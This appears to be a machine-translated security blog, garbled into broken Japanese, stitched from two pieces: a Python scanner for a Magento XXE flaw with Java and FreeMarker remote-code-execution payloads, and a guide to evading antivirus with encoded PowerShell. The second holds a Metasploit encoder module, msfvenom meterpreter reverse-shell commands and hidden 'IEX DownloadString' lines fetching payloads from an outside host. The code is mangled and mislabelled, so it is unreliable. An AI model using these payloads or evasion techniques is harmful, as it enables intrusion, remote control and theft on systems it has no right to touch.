____________ _____ _____ ____ _____ _____ _____ ____

/___ \ \//____ | | ___ \/_ \ ___ \ | || | ___ \/_ \ ___//_

| | \ \//| _ | _____ __)| | | | | | | | _____ ___)| | | | | | | |//'_ \

| | ___ \ v/| | ________/__/| | _ |/__/| ________/__/| | _ | |//| (_)|

\ ____ | \ _/| ______ | | ______ | \ ___/_____ | | ______ | \ ____ //\ ___/

_____

| ___ |

//

//

/_/

'' ')

print()

def read_file(file_path):

file:としてopen(file_path、 'r')があります

urls=file.read()。splitlines()

URLを返します

def check(url):

url=url.rstrip( '/')

taeget_url=urljoin(url、 '/rest/v1/guest-carts/1/astimate-shipping-methods')

try:

ヘッダー={

'user-agent':' mozilla/5.0(x11; cros i686 3912.101.0)Applewebkit/537.36(Khtml、geckoのように)Chrome/27.0.1453.116 Safari/537.36 '、

'content-type':'アプリケーション/json '

}

getDomain=requests.get(url='http://dnslog.cn/getdomain.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30)

domain=str(getDomain.Text)

データ='' {'address': {' totalScollector': {'collectorList': {' totalCollector': {'Sourcedata'33 360 {'data': {' data ':'http://%s '、' datasurl':true、 'options':12345678}}}}}}}' '' '%(domain)

requests.post(taeget_url、verify=false、headers、headers、data=data、timeout=25)

範囲(0、3):のIの場合

更新=requests.get(url='http://dnslog.cn/getrecords.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30)

time.sleep(1)

refresh.text:のドメインの場合

print(f '\ 033 [31mdiscovered: {url} :Adobemagento_cve-2024-34102_xxe!\ 033 [0m')

trueを返します

E:としての例外を除く

合格

__name__=='__main __' :の場合

バナー()

parser=argparse.argumentparser(description='adobecoldfusion_cve-2024-20767_arbitraryfileread検出スクリプト')

parser.add_argument( '-u'、 '-url'、type=str、help='シングルURL検出')

parser.add_argument( '-f'、 ' - txt'、type=str、help='batch urlファイルロード検出')

args=parser.parse_args()

args.url:の場合

read_file(args.url)

elif args.txt:

チェック(args.txt)

else:

parser.print_help()

上記のバッチ検出コードの主な機能ポイント:

1。ディスプレイスクリプトを美化するためのグラフィカルロゴを表示するために使用されるバナー機能モジュール

2。read_file関数モジュール、ファイル内の読み取りURLアドレスをバッチバッチにするために使用されます

3.脆弱性を検出するために使用される関数モジュールを確認します。ここで建設にBPを使用し、応答パッケージの返品値に基づいてルールを一致させることをお勧めします。

4.メイン関数モジュールは主に上記の3つの関数を呼び出し、コマンドラインパーサーを参照します

2。 Pythonパッケージをインポート

Python Pycharmコミュニティエラー関数を使用して、インポートする必要があるパッケージを検出できます。

リクエストをインポートします

urllib3をインポートします

RE、文字列、ランダムをインポートします

urllib.parseインポートurljoinから

argparseをインポートします

インポート時間

SSLをインポートします

ssl._create_default_https_context=ssl._create_unverified_context

urllib3.disable_warnings(urllib3.exceptions.insecurerequestwarning)

image-20240801024603100

3。関数関数モジュール

1. banner識別関数

def banner():

print()

印刷(r '' ''

____________ _____ _____ _____ _____ _ _____

/___ \ \//____ | | ___ \/_ \ ___ \ | || | ___ /| || || |/|/_ \

| | \ \//| _ | _____ __)| | | | | | __)| | | | ____ | _ \ | || | _ | | | | | | | | | |

| | ___ \ v/| | ________/__/| | _ |/__/| ___ _ | _______ | ___)| __ _ | | | _ | |

\ ____ | \ _/| ______ | | ______ | \ ___/_____ | | _____/| _ | | ____/| _ | | _ | \ ____/

____

| ___ \

__)|

/__/

| ______ |

'' ')

print()

機能:この関数はグラフィカルバナーを印刷します

オンライン生成ツール:http://www.network-science.de/ascii/

または、ローカルジェネレーションにPyfigletを使用すると、生成されたコードをPythonコードで置き換えることができます。

ピップインストールpyfiglet

c: \ users \ testpyfiglet CVE-2024-34102

____________ _____ _____ _____ _____ _ _____

/___ \ \//____ | | ___ \/_ \ ___ \ | || | ___ /| || || |/|/_ \

| | \ \//| _ | _____ __)| | | | | | __)| | | | ____ | _ \ | || | _ | | | | | | | | | |

| | ___ \ v/| | ________/__/| | _ |/__/| ___ _ | _______ | ___)| __ _ | | | _ | |

\ ____ | \ _/| ______ | | ______ | \ ___/_____ | | _____/| _ | | ____/| _ | | _ | \ ____/

____

| ___ \

__)|

/__/

| ______ |

2.Read_File関数モジュール

関数:この関数は、指定されたファイルの各行を読み取り、これらの行の内容を含むリストを返します(URLであると仮定)。

注:このコードモジュールは、修正および変更されていないdef read_file(file_path): #define parameter file_pathを受け入れるread_fileという名前の関数を定義します。

file:としてopen(file_path、 'r')があります

#開いた関数を使用して、指定されたパスが読み取りモード( 'r')でファイルを開き、ファイルオブジェクトを変数ファイルに割り当てます。 withステートメントは、コードブロックが完了した後、ファイルが自動的に閉じられることを保証します。

urls=file.read()。splitlines()

#ファイルのコンテンツ全体を読み取り、それを行ごとにリストに分割します。各行のコンテンツは、リストの要素として機能します。 splitlines()メソッド各行のnewlinesを削除します

returns #returnすべてのURLのリストを返します

3.関数モジュールを確認

注:ここでは、実際の条件に応じてdef check(url):を変更できます

#チェックという名前の関数を定義し、パラメーターURLを受け入れ、チェックするURLを示します

url=url.rstrip( '/')

#URLの最後にスラッシュを削除します(存在する場合)

taeget_url=urljoin(url、 '/rest/v1/guest-carts/1/astimate-shipping-methods')

#urljoin関数を使用して、指定されたURLを指定されたパスでスプライスしてターゲットURLを生成します

try:

#try次のコードブロックを実行するには、例外が発生した場合、除外ブロックにジャンプします

ヘッダー={

'user-agent':' mozilla/5.0(x11; cros i686 3912.101.0)Applewebkit/537.36(Khtml、geckoのように)Chrome/27.0.1453.116 Safari/537.36 '、

'content-type':'アプリケーション/json '

}

#set httpリクエストヘッダー、ヘッダーにはユーザーエージェントとコンテンツタイプが含まれ、コンテンツタイプはpost requestパッケージ形式です

getDomain=requests.get(url='http://dnslog.cn/getdomain.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30)

#dnslog.cnにget requestを送信して、脆弱性を検出するために使用される一意のドメイン名を取得します。

domain=str(getDomain.Text)

#応答コンテンツを文字列に変換し、変数ドメインに値を割り当てます

データ='' {'address': {' totalScollector': {'collectorList': {' totalCollector': {'Sourcedata'33 360 {'data': {' data ':'http://%s '、' datasurl':true、 'options':12345678}}}}}}}' '' '%(domain)

#この脆弱性を活用する目的で、ドメインを含むJSONデータ文字列を構成する

requests.post(taeget_url、verify=false、headers、headers、data=data、timeout=25)

#ターゲットURLへの投稿リクエストを送信し、構築されたJSONデータを運ぶ

範囲(0、3):のIの場合

#DNSレコードにドメイン名が含まれているかどうかを確認するために3回変更します

更新=requests.get(url='http://dnslog.cn/getrecords.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30)

#DNSLOG.CNにリクエストを送信して、DNSレコードを取得します

time.sleep(1)

refresh.text:のドメインの場合

#ドメイン名がDNSレコードに含まれている場合、それは脆弱性が存在することを意味します

print(f '\ 033 [31mdiscovered: {url} :Adobemagento_cve-2024-34102_xxe!\ 033 [0m')

#printが見つかった脆弱性に関する情報

trueを返します

#脆弱性が検出されたことを示すためにtrueを返します

E:としての例外を除く

#上記のコードを実行しようとするときに例外が発生した場合、例外をキャッチして無視します

合格

関数を検出する主な方法:タイプDEFチェック(URL):を取得

url=url.rstrip( '/')

ターゲット=url+'/urlパス'

ヘッダー={

'user-agent':' mozilla/5.0(x11; linux x86_64)applewebkit/537.36(khtml、yike gecko)chrome/41.0.22227.0 safari/537.36 ''

}

try:

#get要求方法

Response=urllib.request.request(ターゲット、ヘッダー=ヘッダー、method='get'、unverifiable=true)

res=urllib.request.urlopen(response)

status_code=res.getCode()

content=res.read()。decode()

status_code==200およびコンテンツの「フォント」とcontent:の「拡張機能」の場合

#主な一致する脆弱性検証ルール

print(f '\ 033 [31mdiscovered: {url} :脆弱性ステータスの説明(xxxにはrce脆弱性があります)\ 033 [0m')

E:としての例外を除く

合格

ポストタイプDEF CHECK1(URL):

url=url.rstrip( '/')

ターゲット=urljoin(url、 '/url path')

ヘッダー={

'user-agent':' mozilla/5.0(x11; linux x86_64)applewebkit/537.36(khtml、geckoのような)Chrome/41.0.22227.0 Safari/537.36 '、

'content-type':' application/json; charset=utf-8 '#postデータ形式タイプ

}

#postリクエストデータ

data='{' paramname ': '' '' '、' paramdesc': ''、 'paramtype ':' '' ''、 'sampleitem ':'1'、 '必須':true、' neveringflag':1、 'belidationRures'3:'funtiction viuntiction verification java.lang.processbuilder(\\\ 'echo \\\'、\\\ 'helloworldtest \\\')。start() null){ss+=line}; return ss;} '}'

try:

#postリクエストメソッド

response=requests.post(ターゲット、検証=false、headers、data=data、timeout=15)

respons.status_code==200および 'helloworldtest' in respons.text.text.text.text.textおよび 'data' in Respons.text: #main検証ルールの場合

print(f '\ 033 [31mdiscovered: {url} :脆弱性ステータスの説明(xxxにはrceの脆弱性!\ 033 [0m')

trueを返します

E:としての例外を除く

合格

def check2(url):

url=url.rstrip( '/')

ターゲット=urljoin(url、 '/jc6/platform/portalwb/portalwb-con-template!viewcontemplate.action')

ヘッダー={

'user-agent':' mozilla/2.0(互換性、msie 3.01; Windows 95 '、

'content-type':'アプリケーション/x-www-form-urlencoded '

}

データ='' ModulID=1Code=%253CCLOB%253E%2524%257B%2522Freemarker.template.utility.execute%2522%253fnew%2528%2529%2528%2522ARP%2520-A%2522%2529%257D%253C%253CLOB

try:

response=requests.post(ターゲット、検証=false、headers、data=data、timeout=15)

response.status_code==200および「インターネット」の場合、それに応じてテキストと「/clob」。Text:

#主な一致する脆弱性検証ルール

print(f '\ 033 [31mdiscovered: {url} :脆弱性ステータスの説明(xxxにはrceの脆弱性!\ 033 [0m')

trueを返します

E:としての例外を除く

合格

iv。メイン関数関数モジュール

関数:上記の関数を呼び出します

この部分は、スクリプトのエントリ、コマンドラインパラメーターを解析し、-URLパラメーターが提供されている場合、単一のURLが検出されます。 -TXTパラメーターが提供されている場合、ファイル内の複数のURLアドレスが検出されます。

__name__=='__main __' :の場合

#バナー機能をコールし、上記の識別図を表示します

バナー()

#command Lineパラメーターパーサー

parser=argparse.argumentparser(description='adobecoldfusion_cve-2024-20767_arbitraryfileread検出スクリプト')

parser.add_argument( '-u'、 '-url'、type=str、help='シングルURL検出')

parser.add_argument( '-f'、 ' - txt'、type=str、help='batch urlファイルロード検出')

強力で組み込みのWindows PowerShellは、浸透プロセス中に侵入をより興味深いものにします。セキュリティソフトウェアの対立と殺害は、PowerShellのすべての行動を徐々にターゲットにし始めました。

https://technet.microsoft.comで、ドキュメントは次のとおりです。

Windows PowerShellは.NETフレームワークテクノロジーに基づいており、既存のWSHとの逆方向の互換性を持つため、スクリプトプログラムは.NET CLRにアクセスするだけでなく、既存のCOMテクノロジーを使用できます。また、データベースやWMIへのログインなど、マネージャーの処理を改善するためのシンプルで一貫した構文、いくつかのシステム管理ツールも含まれています。 Exchange Server 2007やSystem Center Operations Manager 2007などのサーバーソフトウェアには、Windows PowerShellが組み込まれています。

Theavailable Startupparameters:の等式

-CommandSpecifififififiedtoexecuteSteastedthoweretypedatthepowershellcommandprompt。

-EncodedCommandSpecifeSheBase64-EncodedCommandTextToExecute。

-executionpolicysetsthededefaultexecutionpolicyfortheconsolessession。

-FILESESTSTHENAMEOFASCRIPTFILETOEXECUTE。

-inputFormatsTheFormATASENTTOPOPOWERSHELLASETEXTEXTSTRINGSTRINGORIALIZEXML.THEDEFAULTFORTISXML.VALIDVALUESARETEXTANDXML。

-noexitdoesnotexitafterrunning startup commands.thisparametersuseful yourunpowershell commandsorscriptssviathecommandprompt(cmd.exe)。

-nologostartSthepowerShellコンソールは、Thecopyrightbannerを表示せずに。

-noninteractivestartSthePowerShell consoleinnon-interactivemode.inthismode、powershellはinteractiveprompttotheuserを紹介しません。

-noprofiletellSthepowerShell consolenottoloadthecurrentuser’sprofile。

-OutputFormatsTheForMatForOutPutaseTheTextStringStringorializedXml.thedefaultFormatistext.ValidValuesAretExtandxml。

-PSCONSOLEFILEOADSTHESPECIFIEDWINDOWSSHELLCONSOLEFILE.CONSOLEFILESENDWITHTHE.PSC1EXTENSIONANDCANTONSURETHATSNAP-specificSnap-nap-nap-nap-nap-nap-inxtensionsionsionsionsionsionsionsionsionsionadavaible.youcancreateaoconsoleusinginging export-consoleinwindowsowershell。

-stastAstArtSpowerShellinsingle-threadedMode。

-versionsetsthionsofwindowspowershelltouseforcompatibility、sotas1.0。

-windowstyleSetsethewindowStyleasNormal、最小化、最大化、または非表示。

その機能については、ローカルテスト:Add-Type-AssemblynamePresentationFramework; [System.Windows.MessageBox] :Show( 'Micropoor')

wsgrfo50b2t9071.jpg

上記のように、PowerShellの行動や特性のいくつかは、ますます多くのアンチソフトウェアに直面し始めます。 MSFVENOMを例にとって、ペイロードを生成します

pzzylpvhihd9072.jpg

Micropoor.ps1は残念ながら殺されました

ea0n2o3yrpn9073.jpg

PowerShell機能のペイロードを変更します

ra0belyvxv39074.jpg

次に考慮すべきことは、上記の繰り返しの作業を自動化に変え、PowerShellとダウンロードストリングの特性に2つのペイロードフォームを設計する方法です。(1)ターゲットマシンがネットワークを出る(2)ターゲットマシンはネットワークを出ないで、ニーズに応じてメタプロイトをシームレスに接続します。 Microsoft Documentationによると、上記に役立つ可能性のあるプロパティ、つまり、WindowStylenoExitededCommandexec Automationの実装は次のとおりです。

#base64.rbをmetasploit-framework/embedded/framework/modules/encoders/powershellにコピーします。

#例えば

#MSFエンコーダー(PowerShell/base64)Exploit/Multi/Handlerを使用します

#MSF Exploit(Multi/Handler)Payload Windows/X64/MeterPreter/Reverse_TCPを設定します

#ペイロード=windows/x64/meterpreter/reverse_tcp

#MSF Exploit(Multi/Handler)Exploit

#msfvenom -p Windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f psh -reflection -arch x64 -platform windows | MSFVENOM -E POWERSHELL/BASE64 -ARCH X64 -Platform Windows。

#[*] xx.1xx.xx.xx:xxでリバースTCPハンドラーを開始しました

クラスMetasploitModule MSF:3360ENCODER

rank=normorranking

def initialize

素晴らしい(

'name'='powershell base64エンコーダー'、

'説明'=%q {

msfvenom -p Windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f psh -reflection -arch x64 -platform windows | MSFVENOM -E POWERSHELL/BASE64 -ARCH X64 -Platform Windows。

}、

「著者」='マイクロプロア'、

'arch'=arch_cmd、

「プラットフォーム」='win')

Register_options([

optbool.new( 'payload'、[false、 'payload'、false])、

optbool.new( 'x64'、[false、 'syswow64 powershell'、false]))

]))

終わり

def encode_block(state、buf)

base64=rex:text.encode_base64(rex:3360text.to_unicode(buf)))

cmd=''

DataStore ['x64']の場合

cmd +='c: \ windows \ syswow64 \ windowspowershell \ v1.0 \ powershell.exe'

それ以外

cmd +='powershell.exe'

終わり

DataStore ['Payload']の場合

cmd +='-windowsstyle hidden -exec bypass -noexit'

終わり

cmd +='-EncodedCommand#{base64}'

終わり

終わり

#Caidaoを使用する場合

#ECHO POWERSHELL -WINDOWSSTYLE HIDDEN -EXEC BYPASS -C \ '' IEX(new -Object.WebClient).DownLoadString( 'http://192.168.1.117/XXX.PS1'); \ '' '| MSFVENOM -E X64/XOR4 -CHOR4 -CHRACH4 -CHRACH4 -ARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -ARK4 -CHARK4 -PLATOFFIN

#xxx.ps1はmsfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f psh -reflection -arch x64 -platform windows | MSFVENOM -E POWERSHELL/BASE64 -ARCH X64 -Platform Windows。

PowerShell_base64.rbファイルを/usr/share/metasploit-framework/embedded/framework/modules/encoders/powershellディレクトリにコピーします。 PowerShellが空の場合は、新しいPowerShellディレクトリパラメーターを作成してください。ペイロードMetasploitペイロードを使用してPowerShellキーワードを削除するかどうかを選択します。例1(ネットワーク外のターゲット、ダウンロードと実行):Echo PowerShell -WindowsStyle Hidden -C \ '' IEX(new -Object.WebClient).DownLoadString( 'http://192.168.1.117/MICROPOOR.PS1'); Windows

p5z5lyymfjq9075.jpg

例2(ターゲットはネットワークを離れず、ローカルで実行します)

msfvenom -p Windows/x64/meterpreter/reverse_tcp lhost=192.168.1.117 lport=8080 -f psh -reflection -arch x64 -platform windows | MSFVENOM -E POWERSHELL/BASE64 -ARCH X64 -PLATFORM WindowsPayLoad

注:ペイロードパラメーターを追加します

vrd43yyjp5q9076.jpg

より興味深い実験:例1のダウンコンテンツを例2に変更し、ペイロードパラメーターを削除します。ペイロードサイズを減らすため。 Invoke-mimikatz.ps1などを変更する

pwq0flfe5ks9077.jpg

from:https://technet.microsoft.com/en-us/library/ff629472.aspx

https://github.com/danielbohannon/invoke-obfuscation

https://Micropoor.blogspot.com/2018/04/powershell.html